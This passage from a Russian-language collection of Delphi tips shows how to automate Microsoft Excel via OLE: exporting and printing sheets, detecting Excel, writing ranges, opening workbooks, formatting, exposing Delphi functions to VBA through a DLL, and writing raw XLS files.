        SaveFileName := Copy(FileName, 1,Pos('.', FileName) - 1) + IntToStr(M) +
          Copy(FileName, Pos('.', FileName),
          Length(FileName) - Pos('.', FileName) + 1);
        XLApp.Workbooks[M].SaveAs(SaveFileName);
      end;
      Result := True;
    except
      // Error ?
    end;
  finally
    //Excel Beenden
    if (not VarIsEmpty(XLApp)) and (ShowExcel = False) then
    begin
      XLApp.DisplayAlerts := False;
      XLApp.Quit;
      XLAPP := Unassigned;
      Sheet := Unassigned;
    end;
  end;
end;

//Example
procedure TForm1.Button1Click(Sender: TObject);
begin
  //StringGrid inhalt in Excel exportieren
  //Grid : stringGrid, SheetName : stringgrid Print, Pfad : c:\Test\ExcelFile.xls, Excelsheet anzeigen
  StringGridToExcelSheet(StringGrid, 'Stringgrid Print', 'c:\Test\ExcelFile.xls', True);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как распечатать Excel файл?

{
  This is a simple example how to print an Excel file using OLE.
}
uses
  ComObj;

procedure TForm1.Button1Click(Sender: TObject);
var
  ExcelApp: OLEVariant;
begin
  // Create an Excel instance
  // Excel Instanz erzeugen
  ExcelApp := CreateOleObject('Excel.Application');
  try
    ExcelApp.Workbooks.Open('C:\test\xyz.xls');
    // you can also modify some settings from PageSetup
    // Man kann auch noch einige Einstellungen von "Seite Einrichten" anpassen
    ExcelApp.ActiveSheet.PageSetup.Orientation := xlLandscape;
    // Print it out
    // Ausdrucken
    ExcelApp.Worksheets.PrintOut;
  finally
    // Close Excel
    // Excel wieder schliessen
    if not VarIsEmpty(ExcelApp) then
    begin
      ExcelApp.Quit;
      ExcelApp := Unassigned;
    end;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как определить установлен ли Excel?

Функция возвращает True если найден OLE-объект

Пример использования
  if not IsOLEObjectInstalled('Excel.Application') then
    ShowMessage('Класс не зарегистрирован')
  else
    ShowMessage('Класс найден');

function IsOLEObjectInstalled(Name: String): boolean;
var
  ClassID: TCLSID;
  Rez : HRESULT;
begin
  // Ищем CLSID OLE-объекта
  Rez := CLSIDFromProgID(PWideChar(WideString(Name)), ClassID);

  if Rez = S_OK then  // Объект найден
    Result := true
  else
    Result := false;
end;

Если нужна более подробная информация об объекте, можно почитать хелп по функции API CLSIDFromProgID.

Автор Кулюкин Олег
Взято с сайта http://www.delphikingdom.ru/


Как определить запущен ли Excel?

Данный пример ищет активный экземпляр Excel и делает его видимым

var
    ExcelApp : Variant;
begin
  try
    // Ищем запущеный экземплят Excel, если он не найден, вызывается исключение
    ExcelApp := GetActiveOleObject('Excel.Application');

    // Делаем его видимым
    ExcelApp.Visible := true;
  except
  end;

Автор Кулюкин Олег
Взято с сайта http://www.delphikingdom.ru/


Как вывести данные в Excel?

Можно выводить данные последовательно в каждую ячейку, но это очинь сильно замедляет работу. Лучше сформировать вариантный массив, и выполнить присвоение области (Range) этого массива.
var
    ExcelApp, Workbook, Range, Cell1, Cell2, ArrayData  : Variant;
    TemplateFile : String;
    BeginCol, BeginRow, i, j : integer;
    RowCount, ColCount : integer;
begin
  // Координаты левого верхнего угла области, в которую будем выводить данные
  BeginCol := 1;
  BeginRow := 5;

  // Размеры выводимого массива данных
  RowCount := 100;
  ColCount := 50;

  // Создание Excel
  ExcelApp := CreateOleObject('Excel.Application');

  // Отключаем реакцию Excel на события, чтобы ускорить вывод информации
  ExcelApp.Application.EnableEvents := false;

  //  Создаем Книгу (Workbook)
  //  Если заполняем шаблон, то Workbook := ExcelApp.WorkBooks.Add('C:\MyTemplate.xls');
  Workbook := ExcelApp.WorkBooks.Add;

  // Создаем Вариантный Массив, который заполним выходными данными
  ArrayData := VarArrayCreate([1, RowCount, 1, ColCount], varVariant);

  // Заполняем массив
  for I := 1 to RowCount do
    for J := 1 to ColCount do
      ArrayData[I, J] := J * 10 + I;

  // Левая верхняя ячейка области, в которую будем выводить данные
  Cell1 := WorkBook.WorkSheets[1].Cells[BeginRow, BeginCol];
  // Правая нижняя ячейка области, в которую будем выводить данные
  Cell2 := WorkBook.WorkSheets[1].Cells[BeginRow  + RowCount - 1, BeginCol +
ColCount - 1];

  // Область, в которую будем выводить данные
  Range := WorkBook.WorkSheets[1].Range[Cell1, Cell2];

  // А вот и сам вывод данных
  // Намного быстрее поячеечного присвоения
  Range.Value := ArrayData;

  // Делаем Excel видимым
  ExcelApp.Visible := true;

Автор Кулюкин Олег
Взято с сайта http://www.delphikingdom.ru/


Создание или открытие книги

Повторюсь, не смотря на то, что я уже писал об этом в предыдущей статье. В главной форме проекта-примера я объявил свойство IWorkbook. Оно будет содержать интерфейс книги, которую мы будем создавать и использовать. Естественно, в обработчике FormDestroy я его освобождаю.

 property IWorkbook: Excel8TLB._Workbook read FIWorkbook;

Книгу можно создать разными способами и с разными намерениями. Если необходимо создать абсолютно чистую книгу, достаточно выполнить следующий код:

if Assigned(IXLSApp) and (not Assigned(IWorkbook) ) then
   FIWorkbook := IXLSApp.Workbooks.Add(EmptyParam, 0);

Вопрос в том, зачем нам может понадобиться новая книга, с количеством пустых листов, выставленным по умолчанию. Сегодня, я не могу уже ответить на этот вопрос, ибо не создаю новых пустых книг.

Коллекция Workbooks содержит все открытые книги и предоставляет возможность кое-как управлять всем этим.

Боже, как убоги коллекции от Microsoft, и особенно поиск в них! Я отклонюсь, но это надо видеть. Вот пример поиска книги с заданным именем, приведенный как совет в MSDN Office Developer.

Public Function SheetExists(strSearchFor As String) As Boolean
SheetExists = False
For Each sht In ThisWorkbook.Worksheets
    If sht.Name = strSearchFor Then
        SheetExists = True
    End If
Next sht
End Function

Это вам не IndexOf писать. Сами ищите! А я так иделаю. Но, далее…

Метод Add этой коллекции (читай, метод интерфейса) позволяет добавить книгу к этой коллекции, пустую либо по шаблону. Первый параметр этого метода, Template (из справки по Excel VBA), может принимать имя файла с путем. Поэтому, выполнив код

if Assigned(IXLSApp) and (not Assigned(IWorkbook) ) then
  FIWorkbook := IXLSApp.Workbooks.Add(ExtractFilePath(ParamStr(0)) + 'Test.xls', 0);

вы получите книгу, идентичную файлу "Test.xls" с именем Test1.xls. Именно этим способом я создаю все свои отчеты, так как создаю их по заранее разработанным шаблонам. Естественно, что это шаблоны XL Report.

Если же необходимо просто открыть уже существующий файл, то используйте метод Open этой же коллекции:

if Assigned(IXLSApp) and (not Assigned(IWorkbook) ) then
  FIWorkbook := IXLSApp.Workbooks.Open(ExtractFilePath(ParamStr(0)) + "Test.xls', EmptyParam,
    EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam,
    EmptyParam, EmptyParam, EmptyParam, false, 0);

Понимаю, что в душе нормального программиста такой код вызовет отвращение. Как-то я даже получил гневное письмо о собственной ненормальности из-за того, что использую ранее связывание и кучу EmptyParam. Впрочем, я не сильно агрессивный человек (правда, только в переписке), и отвечать не стал. В конечном итоге, раннее связывание дает мне немного преимуществ, но я за него. Я не могу помнить все методы и их параметры из Excel Type Library, поэтому получаю их (только при раннем связывании, естественно) из подсказок редактора Delphi - продуманная вещь этот редактор. А чтобы не мучаться с написанием такого количества EmptyParam, можно написать и так (ответ на «гневное» письмо):

if Assigned(IXLSApp) and (not Assigned(IWorkbook) ) then
  IDispatch(FIWorkbook) := OLEVariant(IXLSApp.Workbooks).Open(
    FileName := ExtractFilePath(ParamStr(0)) + 'Test.xls');

Но, мы отклонились. Что же стоит за таким количеством параметров по умолчанию в методе Open? Да, много чего. Из этого «громадья» я использую лишь несколько вещей. Их я и опишу, а заинтересовавшихся остальными отсылаю к справке по Excel VBA. Вот объявление этого метода в импортированной библиотеке типов:
 function Open(const Filename: WideString; UpdateLinks: OleVariant; ReadOnly: OleVariant;
              Format: OleVariant; Password: OleVariant; WriteResPassword: OleVariant;
              IgnoreReadOnlyRecommended: OleVariant; Origin: OleVariant;
              Delimiter: OleVariant; Editable: OleVariant; Notify: OleVariant;
              Converter: OleVariant; AddToMru: OleVariant; lcid: Integer): Workbook; safecall;

В FileName необходимо передать имя открываемого файла, желательно указав путь его нахождения. Иначе, этот файл Excel будет искать в каталоге по умолчанию. Чтобы файл был запомнен в списке последних открытых файлов, в AddToMru можно передать true. Иногда я знаю, что файл рекомендован только для чтения (не путать с «парольной» защитой книги). Тогда при открытии выдается соответствующее сообщение. Чтобы игнорировать его, можно передать в IgnoreReadOnlyRecommended true. Вот, пожалуй, и все мои скудные знания об этом методе. Впрочем, с помощью его мне приходилось открывать и файлы текстовых форматов с разделителями. Но тогда я обращался к чудесному «пишущему» плейеру VBA и записывал с его помощью макросы, затем правил их по необходимости и все отлично получалось. Этим же способом разрешать «всяческие» тонкие вопросы рекомендую и вам.

На главной форме проекта-примера я создал кнопку, с помощью которой можно открыть (или создать) файл и RadioGroup к ней, где можно указать каким из приведенных выше способов файл этот открывается. Для полного удовлетворения сюда же была добавлена обработка исключения. Вот что у меня получилось:

procedure TForm1.btnCreateBookClick(Sender: TObject);
var FullFileName: string;
begin
  FullFileName := ExtractFilePath(ParamStr(0)) + 'Test.xls';
  if Assigned(IXLSApp) and (not Assigned(IWorkbook) ) then
    try
      case rgWhatCreate.ItemIndex of
      // По шаблону
      0: FIWorkbook := IXLSApp.Workbooks.Add(FullFileName, 0);
      // Просто откроем
      1: FIWorkbook := IXLSApp.Workbooks.Open(FullFileName,
           EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam,
           EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam, false, 0);
      // Пустая книга
      2: FIWorkbook := IXLSApp.Workbooks.Add(EmptyParam, 0);
      end;
    except
      raise Exception.Create('Не могу создать книгу!');
    end;
end;

Автор Евгений Старостин
Взято с сайта http://www.delphikingdom.ru/


Работа с листами книги

Есть в VBA одна вещь, которая меня раздражает. Это ActiveSheet и ActiveWorkbook, а также возможность работы с Cells и Range без указания, к какому листу или книге они принадлежат. Одно время я боролся сам с собой, то применяя, то совсем отказываясь от подобных конструкций. Окончательно я отказался от этого лишь после обнаружения многочисленных ошибок в анализе «лога» моего Web-сервера, который я сделал на VBA. Благо, при работе в Delphi нет возможности написать Cells(x, y) = NewValue, подразумевая при этом какой-то неуловимый ActiveSheet. Поэтому прежде, чем работать с отдельными ячейками, я всегда получаю интерфейс на конкретный и вполне осязаемый лист книги. И делю это так:

var ISheet: Excel8TLB._Worksheet;
…
ISheet := IWorkbook.Worksheets.Item['Лист1'] as Excel8TLB._Worksheet;

Коллекция Worksheet подобна всем остальным коллекциям из Excel TLB. В ней вы можете удалять листы, вставлять новые, изменять их порядок. Но я практически никогда не делаю этого, поэтому всех нетерпеливых снова отсылаю к справке по Excel VBA.

Главную же мысль свою повторю еще раз. Всегда и везде рекомендую работать с ячейками и областями в контексте их листа, получив предварительно интерфейс на этот лист вышеописанным способом. От использования свойств ActiveSheet и ActiveWorkbook можно совсем отказаться, разве что за исключением каких-то особых случаев.

Автор Евгений Старостин
Взято с сайта http://www.delphikingdom.ru/


Как вставить конец страницы?

{ ... }
Excel.ActiveWindow.View := xlPageBreakPreview;
WS.HPageBreaks.Add(WS.Cells.Item[78, 1]);
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как вставить картинку

Answer:

If WS is your worksheet:

{ ... }
WS.Shapes.AddPicture('C:\Pictures\Small.Bmp', EmptyParam, EmptyParam, 10, 160,
  EmptyParam, EmptyParam);

or

{ ... }
var
  Pics: Excel2000.Pictures; {or whichever Excel}
  Pic: Excel2000.Picture;
  Pic: Excel2000.Shape;
  Left, Top: integer;
{ ... }
Pics := (WS.Pictures(EmptyParam, 0) as Pictures);
Pic := Pics.Insert('C:\Pictures\Small.Bmp', EmptyParam);
Pic.Top := WS.Range['D4', 'D4'].Top;
Pic.Left := WS.Range['D4', 'D4'].Left;
{ ... }

EmptyParam a special variant (declared in Variants.pas in D6+). However in later versions of Delphi some conversions cause problems. This should work:

uses
  OfficeXP;

{ ... }
WS.Shapes.AddPicture('H:\Pictures\Game\Hills.bmp', msoFalse, msoTrue, 10, 160, 100,
  100);

But you may have to use a TBitmap to find out how large the picture should be.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как узнать существует ли страница (worksheet)?

{ ... }
WB := Excel.Workbooks[1];
for Idx := 1 to WB.Worksheets.Count do
  if WB.Worksheets[Idx].Name = 'first' then
    Showmessage('Found the worksheet');
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как создать DLL для MS Excel?

Problem/Question/Abstract:

How do I make delphi functions available to Excel users?

I have seen many articles telling how to control Excel from within Delphi. However, it is also appealing to give Excel users (which tend to be far less programming oriented guys) the power of tools built with Dephi, its flexibility and velocity.

Answer:

The idea is very simple and is based upon the variable types that are common to Excel's VBA and to Delphi. Those include 32 bit integer, double precision floating point and, mainly, Excel ranges.

I found that Excel sometimes interprets incorrectly simple types when passed by reference and thus I limmited their usage to value parameters.
On the other hand, ranges can only be passed by reference and can be read from but not written to. This means that, within Delphi, you must use the reserved word CONST instead of VAR.

First, I defined within a simple unit a set of functions that convert simple Variant types to simple types and viceversa. Those are IntToVar,Double and VarTodouble (the real unit also includes a StrToVar function but not a VarToStr since this one is already included in the System unit), and are used within the procedures that do the real work (RangeToMatrix, RangeToVector,VectorToMatrix and VectortoRange).
All these functions (along with some others that you might find useful) are put together in a unit called "_Variants" whose source code is copied here (with some slight modifications).

In the real unit you will find that there fucntions that provide conversion between Excel ranges and SDL delphi component suite which I have found to be quite useful (refer to www.lohninger.com).

I shall restrict the examples, however to standard types.

Lets take first a simple function:
This function, called gamma_alfa, takes as input the mean and the variance of a population and returns the alfa parameter of a gamma distribution.

In Excel's VBA it is declared as
Declare Function gamma_alfa Lib "c:\archivos\del_files\f_auxiliares_delphi" Alias "gamma_alfa_XL" (ByVal media As Double, ByVal varianza As Double) As Double

note the lib statement that refers to name that the DLL actually has.
note also the ByVal modifiers used for declaring the variables as well as the "as double" statements.
These mean that both the input and the output will be simple types of type double.

In Delphi, the function is declared as
function gamma_alfa(media, varianza : double) : Double;stdcall;

Note the stdcall at the end of the declaration. This is to ensure that Delphi will use the Microsoft calling convention

Also note the inconsistency between the delphi function's name and the "alias" statement in VBA.
This is set in the export clause of the DLL:

exports ...,
        gamma_alfa     name 'gamma_alfa_XL',
...;

Although irrelevant, the implementation of the function follows:

implementation

function gamma_alfa(media, varianza: double): Double; stdcall;
begin
  gamma_alfa := media * media / varianza;
end;

Now, let's go to the tough stuff: sending Excel ranges as parameters.
Now, I will make use of a function that gets and returns excel ranges as parameters:
This function is called gamma_parametros and takes as input an histogram (with frequencies and class markers) and returns the alfa and beta parameters for a gamma. Here is its VBA declaration:

Declare Function gamma_parametros Lib "c:\archivos\del_files\f_auxiliares_delphi" Alias "gamma_parametros_XL" (ByRef marcas_de_clase As Variant, ByRef frecuencias As Variant) As Variant

Now note hte "Byref" and the as "Variant" types.

In Delphi, the function is declared as follows:

function gamma_parametros_XL(const _marcas_de_clase, _frecuencias: Variant): Variant;
  stdcall;

and is implemented as:

function gamma_parametros_XL(const _marcas_de_clase, _frecuencias: Variant): Variant;
  stdcall;
var
  marcas_de_clase, frecuencias, pars: TVector_;
  pars_: Variant;
begin
  RangeToVector(_marcas_de_clase, marcas_de_clase);
  RangeToVector(_frecuencias, frecuencias);
  pars := gamma_parametros(marcas_de_clase, frecuencias);
  VectorToRange(pars, pars_);
  gamma_parametros_XL := pars_;
end;

Note that the functions that does the real work is not gamma_parametros_XL but gamma_parametros. The former only does the job of converting Excel ranges to TVector_ and viceversa.

the exports clause exports gamma_parametros_XL, since it's the one that is replicated in the VBA definition, and thus it does not need a 'name' clause.

Here is the implementation of the gamma_parametros function:

function gamma_parametros(const marcas_de_clase, frecuencias: TVector_): TVector_;
var
  pars: TVector_;
  mu, sigmac: double;
begin
  SetLength(pars, 2);
  mu := media_ponderada(marcas_de_clase, frecuencias);
  sigmac := varianza_ponderada(marcas_de_clase, frecuencias);
  pars[0] := gamma_alfa(mu, sigmac);
  pars[1] := gamma_beta(mu, sigmac);
  gamma_parametros := pars;
end;

Here is the listing of the _Variants unit:

interface
uses SysUtils,
  excel97,
  vector,
  matrix,
  Classes,
  Dialogs,
  registry,
  windows;

type

  tmatriz = array of array of double;
  tvector_ = array of double;

function IntToVar(dato: longint): variant;
function DoubleToVar(dato: double): variant;

function VarToDouble(const dato: variant): double;

procedure RangeToMatrix(const rango: variant; var matriz: tmatriz);
procedure RangeToVector(const rango: variant; var matriz: tvector_);
procedure MatrixToRange(const matriz: tmatriz; var rango: variant);
procedure VectorToRange(const matriz: tvector_; var rango: variant);

procedure transpose(var matriz: tmatriz);

implementation

function IntToVar(dato: longint): variant;
var
  temp: variant;
begin
  tvardata(temp).vtype := VarInteger;
  tvardata(temp).Vinteger := dato;
  IntToVar := temp;
end;

function DoubleToVar(dato: double): variant;
var
  temp: variant;
begin
  tvardata(temp).vtype := VarDouble;
  tvardata(temp).VDouble := dato;
  DoubleToVar := temp;
end;

function VarToDouble(const dato: variant): double;
var
  temp: variant;
begin
  try
    temp := varastype(dato, vardouble);
  except
    on EVariantError do
    begin
      tvardata(temp).vtype := vardouble;
      tvardata(temp).vdouble := 0.0;
    end;
  end;
  VarToDouble := tvardata(temp).vdouble;
end;

procedure RangeToMatrix(const rango: variant; var matriz: tmatriz);
var
  Rows, Columns: longint;
  i, j: longint;
begin
  if ((tvardata(rango).vtype and vararray) = 0) and
    ((tvardata(rango).vtype and vartypemask) = vardispatch) then
  begin
    Rows := Rango.rows.count;
    Columns := Rango.columns.count;
    SetLength(matriz, Rows);
    for i := 0 to Rows - 1 do
      SetLength(matriz[i], Columns);
    for i := 0 to Rows - 1 do
      for J := 0 to Columns - 1 do
        matriz[i, j] := VarToDouble(Rango.cells[i + 1, j + 1]);
  end
  else if ((tvardata(rango).vtype and vararray) <> 0) then
  begin
    rows := vararrayhighbound(rango, 1) - vararraylowbound(rango, 1) + 1;
    if VarArrayDimCount(rango) = 2 then
    begin
      columns := vararrayhighbound(rango, 2) - vararraylowbound(rango, 2) + 1;
      setLength(matriz, rows);
      for i := 0 to Rows - 1 do
        SetLength(matriz[i], Columns);
      for i := 0 to Rows - 1 do
        for J := 0 to Columns - 1 do
          matriz[i, j] := vartodouble(rango[i + 1, j + 1]);
    end
    else
    begin
      setlength(matriz, 1);
      setlength(matriz[0], rows);
      for i := 0 to rows - 1 do
        matriz[0, i] := vartodouble(rango[i + 1]);
    end;
  end
  else
  begin
    rows := 1;
    columns := 1;
    setLength(matriz, rows);
    setLength(matriz[0], columns);
    matriz[0, 0] := vartodouble(rango);
  end
end;

procedure RangeToVector(const rango: variant; var matriz: tvector_);
var
  Rows, columns: longint;
  i, j: longint;
begin
  if ((tvardata(rango).vtype and vararray) = 0) and
    ((tvardata(rango).vtype and vartypemask) = vardispatch) then
  begin
    Rows := Rango.count;
    SetLength(matriz, Rows);
    for i := 0 to Rows - 1 do
      matriz[i] := VarToDouble(Rango.cells[i + 1]);
  end
  else if ((tvardata(rango).vtype and vararray) <> 0) then
  begin
    rows := vararrayhighbound(rango, 1) - vararraylowbound(rango, 1) + 1;
    if VarArrayDimCount(rango) = 1 then
    begin
      setLength(matriz, rows);
      for i := 0 to rows - 1 do
        matriz[i] := vartodouble(rango[i + 1]);
    end
    else
    begin
      columns := vararrayhighbound(rango, 2) - vararraylowbound(rango, 2) + 1;
      setlength(Matriz, Columns * Rows);
      for i := 1 to rows do
        for j := 1 to columns do
        try
          matriz[(i - 1) * columns + j] := VarToDouble(rango[i, j]);
        except
          on EVariantError do
            matriz[(i - 1) * columns + j] := 0;
        end;
    end
  end
  else
  begin
    rows := 1;
    setLength(matriz, rows);
    matriz[0] := vartodouble(rango);
  end;
end;

procedure MatrixToRange(const matriz: tmatriz; var rango: variant);
var
  Rows, Columns: longint;
  i, j: longint;
begin
  Rows := high(matriz) - low(matriz) + 1;
  Columns := high(matriz[0]) - low(matriz[0]) + 1;
  rango := VarArrayCreate([1, Rows, 1, Columns], varDouble);
  for i := 1 to Rows do
    for j := 1 to Columns do
      rango[i, j] := matriz[i - 1, j - 1];
end;

procedure VectorToRange(const matriz: tvector_; var rango: variant);
var
  Rows: longint;
  i: longint;
begin
  Rows := high(matriz) - low(matriz) + 1;
  rango := VarArrayCreate([1, Rows], varDouble);
  for i := 1 to Rows do
    rango[i] := matriz[i - 1];
end;

procedure transpose(var matriz: tmatriz);
var
  Rows, Columns,
    i, j: longint;
  temp: double;
begin
  Rows := high(matriz) - low(matriz) + 1;
  Columns := high(matriz[0]) - low(matriz[0]) + 1;
  for i := 0 to rows - 1 do
    for j := i to columns - 1 do
    begin
      temp := matriz[i, j];
      matriz[i, j] := matriz[j, i];
      matriz[j, i] := temp;
    end;
end;

end.

One final warning note:

Notice that the types' names in VBA are NOT the same as in Delphi.
The two must obvious are BOOLEAN (which in VBA is a 2 byte type whereas in Delphi is a one byte type). Thus you MUST use WORDBOOL in Delphi.
The other obvious type is INTEGER (in DElphi is a 4-byte type and in VBA a 2-byte type). To avoid confussion use LONGINT in Delphi and LONG in VBA

I will be more than glad to send you the full source code of the _Variant unit
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как скопировать страницу?

{ ... }
var
  After: OleVariant;
  Sh: _Worksheet;
begin
  Sh := Excel.Worksheets['Sheet1'] as _Worksheet;
  After := Excel.Workbooks[1].Sheets[3];
  Sh.Copy(EmptyParam, After, lcid);
  { ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как поменять border страницы?

{ ... }
var
  Rng: OleVariant;
  LeftEdge: Border;
{ ... }
WS.Range['A5', 'D5'].Borders.Item[xlEdgeTop].Weight := xlThick;
WS.Range['A5', 'D5'].Borders.Item[xlEdgeTop].Color := clYellow;
WS.Range['A5', 'D5'].Borders.Item[xlEdgeBottom].Linestyle := xlDouble;
WS.Range['A5', 'D5'].Borders.Item[xlEdgeBottom].Color := clYellow;
{ ... }

{ ... }
WS.Evaluate('B6, C6, D6, E6, F6').Borders.Item[xlEdgeLeft].Line
style := xlContinuous;
Rng := WS.Range['A1', 'A1'];
Rng.BorderAround(xlContinuous, xlThin, Color := clFuchsia);
LeftEdge := WS.Range['B2', 'B5'].Borders.Item[xlEdgeLeft];
LeftEdge.Linestyle := xlContinuous;
LeftEdge.Weight := 3;
LeftEdge.Color := clLime;
{ ... }
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как осуществить поиск ячейки по её значению?

{ ... }
var
  Rnge: OleVariant;
  { ... }

Rnge := WS.Cells;
Rnge := Rnge.Find('Is this text on the sheet?');
if Pointer(IDispatch(Rnge)) <> nil then
  {The text was found somewhere, so colour it pink}
  Rnge.Interior.Color := clFuchsia;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Создаём Excel файл без OLE

const
  CXlsBof: array[0..5] of Word = ($809, 8, 00, $10, 0, 0);
  CXlsEof: array[0..1] of Word = ($0A, 00);
  CXlsLabel: array[0..5] of Word = ($204, 0, 0, 0, 0, 0);
  CXlsNumber: array[0..4] of Word = ($203, 14, 0, 0, 0);
  CXlsRk: array[0..4] of Word = ($27E, 10, 0, 0, 0);

procedure XlsBeginStream(XlsStream: TStream; const BuildNumber: Word);
begin
  CXlsBof[4] := BuildNumber;
  XlsStream.WriteBuffer(CXlsBof, SizeOf(CXlsBof));
end;

procedure XlsEndStream(XlsStream: TStream);
begin
  XlsStream.WriteBuffer(CXlsEof, SizeOf(CXlsEof));
end;

procedure XlsWriteCellRk(XlsStream: TStream; const ACol, ARow: Word;
  const AValue: Integer);
var
  V: Integer;
begin
  CXlsRk[2] := ARow;
  CXlsRk[3] := ACol;
  XlsStream.WriteBuffer(CXlsRk, SizeOf(CXlsRk));
  V := (AValue shl 2) or 2;
  XlsStream.WriteBuffer(V, 4);
end;

procedure XlsWriteCellNumber(XlsStream: TStream; const ACol, ARow: Word;
  const AValue: Double);
begin
  CXlsNumber[2] := ARow;
  CXlsNumber[3] := ACol;
  XlsStream.WriteBuffer(CXlsNumber, SizeOf(CXlsNumber));
  XlsStream.WriteBuffer(AValue, 8);
end;

procedure XlsWriteCellLabel(XlsStream: TStream; const ACol, ARow: Word;
  const AValue: string);
var
  L: Word;
begin
  L := Length(AValue);
  CXlsLabel[1] := 8 + L;
  CXlsLabel[2] := ARow;
  CXlsLabel[3] := ACol;
  CXlsLabel[5] := L;
  XlsStream.WriteBuffer(CXlsLabel, SizeOf(CXlsLabel));
  XlsStream.WriteBuffer(Pointer(AValue)^, L);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  FStream: TFileStream;
  I, J: Integer;
begin
  FStream := TFileStream.Create('c:\e.xls', fmCreate);
  try
    XlsBeginStream(FStream, 0);
    for I := 0 to 99 do
      for J := 0 to 99 do
      begin
        XlsWriteCellNumber(FStream, I, J, 34.34);
        // XlsWriteCellRk(FStream, I, J, 3434);
        // XlsWriteCellLabel(FStream, I, J, Format('Cell: %d,%d', [I, J]));
      end;
    XlsEndStream(FStream);
  finally
    FStream.Free;
  end;
end;

Взято с http://delphiworld.narod.ru


Страницы Excel — компонент F1Book

3.4.4 Страницы Excel — компонент F1Book
Очень интересным компонентом является F1Book на странице ActiveX. Этот компонент позволяет встроить в ваше приложение таблицы типа Excel (рис. 3.14), которые пользователь может заполнять соответствующими числами, а компонент будет производить по заданным формулам вычисления и тут же отображать их результаты в указанных ячейках. В таблицу можно встроить диаграммы и графики различных типов. И все изменения, вносимые пользователем в данные таблицы, немедленно будут отображаться в диаграммах. Таким образом вы можете включать в свое приложение различные бланки смет, счетов, ведомостей, с которыми будет работать пользователь, различные таблицы, производящие статистические или технические расчеты и т.п.

Рис. 3.14 Приложение с компонентом F1Book
Перенесите на форму компонент F1Book и щелкните на нем правой кнопкой мыши. Выберите из всплывшего меню команду Workbook Designer. Перед вами появится диалоговое окно проектирования, представленное на рис. 3.15. Те, кто знаком с программой Excel, могут увидеть, что это окно является несколько упрощенным вариантом Excel. Проектирование таблицы производится фактически по тем же правилам, что и в Excel. Вы можете писать в ячейках необходимые надписи, задавая шрифт, его стиль, обрамление. Можете записывать формулы. Так на рис. 3.14 и 3.15 последний столбец представляет собой стоимость соответствующего товара, являющуюся произведением его количества на его цену. А ячейка внизу таблицы суммирует стоимость всех товаров.

Рис. 3.15 Диалоговое окно проектирования компонента F1Book
Правая быстрая кнопка на рис. 3.15 позволяет ввести на страницу диаграммы и графики. Чтобы задать диаграмму, надо сначала выделить курсором в таблице данные, которые должны отображаться в диаграмме, затем нажать кнопку ввода диаграммы, после этого указать курсором рамку, в которой должна отображаться диаграмма. В результате вы попадете в диалоговое окно, в котором сможете выбрать тип диаграммы и необходимые ее атрибуты.
Рассказывать подробно о работе с окном проектирования компонента F1Book невозможно из-за ограничения на объем данной книги. Те, кто знаком с Excel, без труда смогут в этом окне ориентироваться. К тому же в нем имеется встроенная справка, вызываемая командой меню Help или клавишей F1.
Щелкнув правой кнопкой мыши на компоненте F1Book, вы можете выбрать еще одну команду — Properties. В появившемся при этом диалоговом окне (рис. 3.16) вы можете, в частности, задать опции, определяющие, что будет видно или не видно в таблице при работе приложения: заголовки строк и столбцов (Row Heading и Column Heading), сетка (Gridlines), формулы вычислений (Formulas) и т.п.

Рис. 3.16 Диалоговое окно задания свойств объекта F1Book

Из книги: А.Я.Архангельский "100 компонент общего назначения библиотеки Дельфи 5"


Как снять пароль с Excel файла?

{
Today I want to show how you may load some xls-file that is
password-protected, and how to save xls into another file
but without protection.
Just replace there file names and password...
}

var
xls, xlw: Variant;
begin
{load MS Excel}
xls := CreateOLEObject('Excel.Application');

{open your xls-file}
xlw := xls.WorkBooks.Open(FileName := 'd:\book1.xls', Password := 'qq', ReadOnly := True);
{save with other file name}
xlw.SaveAs(FileName := 'd:\book2.xls', Password := '');

{unload MS Excel}
xlw := UnAssigned;
xls := UnAssigned;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Примеры работы с MS Excel

в секции uses стоит так ExcelXP,{Excel2000, Excel97} крайней мере у меня, т.к. некоторые параметры при работе с разными версиями отличаются, например при открытии файла в версии XP больше параметров, чем в версии `97.
На форме лежит компонента Ex1 типа TExcelApplication со страницы Servers, свойства AutoConnect и AutoQuit :=False, свойство ConnectKind:=ckRunningOrNew,

//объявления переменных
var
WorkBk : _WorkBook; //  определяем WorkBook
WorkSheet : _WorkSheet; //  определяем WorkSheet
Range:OleVariant;//

begin
...
    Ex1.Connect;//открываем сам Excel
    //открываем существующий файл, в разных версиях разное кол-во параметров
    Ex1.Workbooks.Open(FileName,EmptyParam,EmptyParam,EmptyParam,EmptyParam,
      EmptyParam,EmptyParam,EmptyParam,EmptyParam,EmptyParam, EmptyParam,EmptyParam,
      EmptyParam,EmptyParam,EmptyParam, LOCALE_USER_DEFAULT);
//параметры для версии XP - имя файла, пути на ссылки в файле(UpdateLinks),Откывать ли
//только для чтения, Формат, Пароль, WriteResPassword - ?, Игнорировать ли рекомендации
//только для чтения, Origin - ?, Delimiter - символ-разделитель целой и дробной частей, Editable-?
    Ex1.Application.EnableEvents := false;//отключаем реакцию Excel`я на события

//так ищем название рабочей книги, т.к. Excel может уже быть открыт с другой книгой
//поиск начинаем с единицы
  For i:=1 to ex1.Workbooks.Count do begin
    if ex1.Workbooks.Item[i].Name='MyFile.xls' then break;
  end;
 // Выбираем WorkBook
  WorkBk := ex1.WorkBooks.Item[iInd];

  // Определяем WorkSheet
 //если кол-во листов больше 1, иначе нет смысла искать
//memoSheets - TMemo - с ключевыми фразами, напрмер,
//Лист 1, Мой лист, Данные,
  if WorkBk.Worksheets.Count>1 then begin

    For x:=0 to memoSheets.Lines.Count-1 do begin
     For q:=1 to WorkBk.Worksheets.Count do begin
